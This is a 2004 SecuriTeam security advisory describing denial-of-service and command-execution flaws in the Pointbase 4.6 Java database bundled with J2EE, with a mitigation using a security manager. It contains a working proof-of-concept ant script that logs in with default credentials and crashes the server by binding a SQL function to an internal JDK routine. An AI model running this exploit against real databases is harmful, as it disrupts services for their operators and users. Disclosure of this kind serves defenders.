

[UNIX] Denial-Of-Service and Malicious Command Execution in Pointbase Java SQL-DB

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0064.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/20/04

To: list@securiteam.com

Date: 20 Jan 2004 11:21:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Denial-Of-Service and Malicious Command Execution in Pointbase Java SQL-DB

SUMMARY

"The flagship <<http://www.pointbase.com>> Pointbase embedded database is a platform-independent, full-featured relational database written entirely in Java. It can be integrated directly within a Java application, making it completely transparent to the end user from the time of deployment. It has a small footprint, provides comprehensive security, and requires zero administration".

The Pointbase installation provided with J2EE/ri 1.4 is not equipped with an appropriate security manager. As a result, all jars have full permissions this can be exploited by an attacker using JDBC to crash the JVM that is running the Pointbase server.

DETAILS

Vulnerable Systems:

* Pointbase version 4.6 (perhaps prior)

There is no security policy file provided by Sun that defines the necessary permissions for the Pointbase server. A server administrator

might not be aware of this and even so will find that it is a long time-consuming job figuring out the permissions when starting from scratch.

The consequences of no permissions are that a remote attacker can launch many types of attacks including Denial-of-Service and even remote command execution. Mark has tested this on both Windows XP and Linux and was able to launch notepad.exe and XEmacs using JDBC commands.

The following code crashes the Pointbase 4.6 database that comes with the J2EE reference implementation. It is provided as an ant script for flexibility and to illustrate the involved resources:

```
=====build.xml=====

(!-- pointbase denial-of-service by marc schoenefeld --").

(project default="dos").

(property name="host" value="192.168.0.7"/).

(target name="dos").
(sql
  driver="com.pointbase.jdbc.jdbcUniversalDriver"
  url="jdbc:pointbase://${host}:9092/sample"
  userid="pbpublic"
  password="pbpublic"
  print="true"
  ).
(![CDATA[
//DROP FUNCTION CRASH5(VARCHAR(20));
CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20) LANGUAGE
JAVA
NO SQL EXTERNAL NAME "sun.misc.MessageUtils::toStderr" PARAMETER STYLE
SQL;
SELECT CRASH5(null) from SYSUSERS;
]]).
(classpath).
  .(pathelement location="pbclient.jar"/).
(classpath).

(/sql).

(/target).

(/project).

=====build.xml=====
```

Workaround:

A recommended approach finding the necessary permissions of an application

tailored to the use case is test-driving the application with [jchains](http://www.jchains.org) and using this tool to record the needed permissions in a permission template. After fine-tuning the recorded permissions and starting the application with a security manager that is configured with these permissions the application runs in a confined "sandbox" mode, which prevents attackers from accessing vulnerable JDK routines like `sun.misc.MessageUtils.toStderr`.

ADDITIONAL INFORMATION

The information has been provided by schonef@uni-muenster.de
Marc Schoenefeld

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.